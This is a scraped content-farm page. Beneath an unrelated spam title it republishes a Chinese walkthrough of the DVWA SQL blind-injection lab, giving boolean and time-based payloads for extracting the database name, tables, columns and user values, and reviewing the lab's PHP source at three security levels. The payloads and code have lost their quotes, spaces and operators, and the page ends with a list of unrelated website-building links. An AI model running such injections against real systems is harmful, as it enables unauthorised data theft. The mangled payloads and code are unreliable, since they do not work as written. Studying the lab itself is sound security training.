当前位置: 首页 > news >正文

加强信息管理 维护网站建设专注做xp的网站

加强信息管理 维护网站建设,专注做xp的网站,ppt简洁模板整套免费,深圳外贸公司网站文章目录 一、概述二、low2.1 通关思路#xff08;布尔盲注#xff09;#xff08;1#xff09;判断是否存在SQL注入漏洞#xff08;2#xff09;判断属于数字型注入还是字符型注入#xff08;3#xff09;判断结果集中的字段数#xff08;4#xff09;猜数据库名长度… 文章目录 一、概述二、low2.1 通关思路布尔盲注1判断是否存在SQL注入漏洞2判断属于数字型注入还是字符型注入3判断结果集中的字段数4猜数据库名长度5猜数据库名6猜表的个数7猜第一个表名8猜user表中的字段个数、每个字段的长度、名称9猜字段内容 2.2 通关思路时间盲注1判断是否存在SQL注入漏洞属于字符型还是数字型2猜测当前数据库名长度、首字母 2.3 源码分析 三、medium四、high 一、概述 盲注就是在sql注入过程中sql语句执行的选择后选择的数据不能回显到前端页面。此时我们需要利用一些方法进行判断或者尝试这个过程称之为盲注。 普通注入与盲注的区别 普通注入是可以根据报错提示进行sql语句注入从而直接爆出我们想要的信息比如数据库版本、数据库名、用户名、操作系统版本等而盲注只能通过多次猜测从而猜解出有用信息。相对来说sql盲注更加考验安全人员的手注能力。 SQL盲注分类 布尔盲注事件盲注报错盲注 二、low 2.1 通关思路布尔盲注 1判断是否存在SQL注入漏洞 在参数后面添加来判断是否存在sql注入漏洞。 引号被拼接到SQL语句中由此可见存在SQL注入漏洞。同时此处只是返回ID值在不在数据库中页面可由此分为True和False因此该SQL注入属于布尔盲注。 2判断属于数字型注入还是字符型注入 1and11--注意payload需要URL编码。 1and12--两次页面返回一致属于字符型注入。下一步判断闭合符号~ 1and11--1and12--两次页面返回不一致故该SQL注入漏洞属于字符型注入且单引号闭合。 3判断结果集中的字段数 注意order by是对查询结果中的某个字段进行排序并不能说明表中含有几个字段。 1orderby数字--可知该页面表存在两个字段。 4猜数据库名长度 因为盲注没有回显点故不能使用union进行联合查询。使用length()函数来判断数据库名的长度。 1andlength(database())1--使用sniper进行爆破 由此可知数据库名长度为4。 5猜数据库名 1andascii((substr(database(),变量1,1)))变量2-- 注 substr(string, start, length)提取字串。start从1开始。大写英文的ASCII值范围65-90小写英文的ASCII值范围97-122变量1的范围在0-3 可以得知数据库名第一个字母为d。 依次可以得到整个数据名为dvwa。 6猜表的个数 1and(selectcount(table_name)frominformation_schema.tableswheretable_schemadatabase())1--同理爆表个数 由此可见数据库中存在两个表。 7猜第一个表名 1andascii(substr((selecttable_namefrominformation_schema.tableswheretable_schemadatabase()limit0,1),0,1))103--注limit 0,1 代表第一行数据选第二行数据应该是limit 1,1 第一个表名的第一个字母为g同理可以爆破出第一个表名为guestbook第二个表名为users。 8猜user表中的字段个数、每个字段的长度、名称 1该表中的字段个数 1and(selectcount(column_name)frominformation_schema.columnswheretable_schemadatabase()andtable_nameusers)8--这里就不进行爆破了最终可以得到users表中含有8个字段。 2猜第一个字段的长度 1andlength((selectcolumn_namefrominformation_schema.columnswheretable_nameuserslimit0,1))7--注 猜第二个字段的长度就将limit 0,1改为limit 1,1依此类推。 可知第一个字段长度为7。 3猜第一个字段的第一个字母 1andascii(substr((selectcolumn_namefrominformation_schema.columnswheretable_nameuserslimit0,1),1,1))117--注第一个字段的第二个字母就将limit0,1),1,1改为limit0,1),2,1。 按照上述思路对user表中的每个字段进行爆破最终可以得到每个字段名。可以知道users表中含有user和password两个字段。 9猜字段内容 1以猜user字段的第一个字段值为例 1andlength((selectuserfromdvwa.userslimit0,1))5--可以得知第一个字段值长度为5。 2猜第一个字段值的首字母 1andascii(substr((selectuserfromdvwa.userslimit0,1),1,1))97--可以得到第一个字母为a。用同样的方法得到整个字段值。 2.2 通关思路时间盲注 1判断是否存在SQL注入漏洞属于字符型还是数字型 1andsleep(5)-- //数字型则等待5秒 1andsleep(5)-- //字符型则等待5秒故此处存在SQL注入漏洞且属于字符型注入单引号闭合。 2猜测当前数据库名长度、首字母 1猜测数据库名长度 需要用到的函数if(a,b,c)a是条件满足返回b不满足返回c 1andif(length(database())4,sleep(5),1)--延迟5秒说明数据库名的长度为4。 2猜测数据库名的首字母 1andif(ascii((substr(database(),1,1)))100,sleep(5),1)-- 延迟5秒说明首字母的ascii值为100;注意此时页面会报错嗷~后续步骤同布尔盲注无非是加了一个if函数。 2.3 源码分析 ?phpif( isset( $_GET[ Submit ] ) ) {// Get input$id $_GET[ id ];// Check database$getid SELECT first_name, last_name FROM users WHERE user_id $id;;$result mysql_query( $getid ); // Removed or die to suppress mysql errors// Get results$num mysql_numrows( $result ); // The character suppresses errorsif( $num 0 ) {// Feedback for end userecho preUser ID exists in the database./pre;}else {// User wasnt found, so the page wasnt!header( $_SERVER[ SERVER_PROTOCOL ] . 404 Not Found );// Feedback for end userecho preUser ID is MISSING from the database./pre;}mysql_close(); }? 分析   源码直接用 GET 方法传入参数 id但是没有经过任何过滤就拿去 SQL 查询了。同时我们看到网页并不会返回查询的结果而是当查询到内容时返回 “User ID exists in the database”查不到时返回 “User ID is MISSING from the database”。 三、medium ?phpif( isset( $_POST[ Submit ] ) ) {// Get input$id $_POST[ id ];$id mysql_real_escape_string( $id );// Check database$getid SELECT first_name, last_name FROM users WHERE user_id $id;;$result mysql_query( $getid ); // Removed or die to suppress mysql errors// Get results$num mysql_numrows( $result ); // The character suppresses errorsif( $num 0 ) {// Feedback for end userecho preUser ID exists in the database./pre;}else {// Feedback for end userecho preUser ID is MISSING from the database./pre;}//mysql_close(); }? 分析源码使用了 mysql_real_escape_string() 函数转义字符串中的特殊字符。也就是说特殊符号 \x00、\n、\r、\、、 和 \x1a 都将进行转义。同时开发者把前端页面的输入框删了改成了下拉选择表单希望以此来控制用户的输入。 需要注意的是加单引号页面返回报错可能会误判。例如正常是查id等于1的用户转义后就会去查id等于1\的用户显然数据库没有。故注意可能会误判。 四、high ?phpif( isset( $_COOKIE[ id ] ) ) {// Get input$id $_COOKIE[ id ];// Check database$getid SELECT first_name, last_name FROM users WHERE user_id $id LIMIT 1;;$result mysql_query( $getid ); // Removed or die to suppress mysql errors// Get results$num mysql_numrows( $result ); // The character suppresses errorsif( $num 0 ) {// Feedback for end userecho preUser ID exists in the database./pre;}else {// Might sleep a random amountif( rand( 0, 5 ) 3 ) {sleep( rand( 2, 4 ) );}// User wasnt found, so the page wasnt!header( $_SERVER[ SERVER_PROTOCOL ] . 404 Not Found );// Feedback for end userecho preUser ID is MISSING from the database./pre;}mysql_close(); }? 分析High 级别的只是在 SQL 查询语句中添加了 LIMIT 1这令服务器仅回显查询到的一个结果。同时源码利用了 cookie 传递参数 id当 SQL 查询结果为空时会执行函数 sleep()这是为了混淆基于时间的盲注的响应时间判断。
http://www.zqtcl.cn/news/40710/

相关文章:

  • 织梦网站地图在线生成设计师论坛平台有哪些
  • 网站流量ip造假图片微商怎么引流推广
  • 贵阳有哪些做网站的公司网站建设申请书
  • 口碑好的福州网站建设建设部证书公布网站
  • 申请绿色网站wordpress数据库密码加密多少位
  • 农产品电商网站建设的总体目标网站开发员的工资
  • 优动网站做网站需要多少
  • 太原seo网站建设山东省建设工程质量安全协会网站
  • 图书馆网站建设方案苏州专业做网站的公司
  • 邢台移动端网站建设国内看网站 优帮云
  • 做网站编辑需要会什么wordpress前台打不开
  • 自己做的网站出现广告找工作附近上8小时的双休
  • 网站开发颜色代码郑州公司建设网站
  • asp.net.网站开发乐清本地生活服务平台
  • 保定做网站推广
  • 免费下载建设银行官方网站下载网站开发的规格描述
  • 电子商务网站开发分几个模块单页面seo搜索引擎优化
  • 军队 网站备案四大工业设计软件
  • 网站建设业务的销售人员培训文档创建自己的网页要多少钱
  • 学校定制网站建设公司谁知道免费网站
  • 沈阳做网站 0诚金网络专业学校网站系统管理
  • 南通网站定制公司淘宝网作图做网站
  • 横岗网站建设公司网站建设开发报价表
  • 网站快速备案公司腾讯云 wordpress教程视频
  • 网站建设案例收费情况长沙网站开发微联
  • 平潭县建设局网站网络营销有什么新的变化
  • 一个旅游网站怎么做建材网站建设
  • 2017网站发展趋势wordpress 强大主题
  • 网站源码官网房山做网站
  • 视频网站建设公司排名做网站的技术难点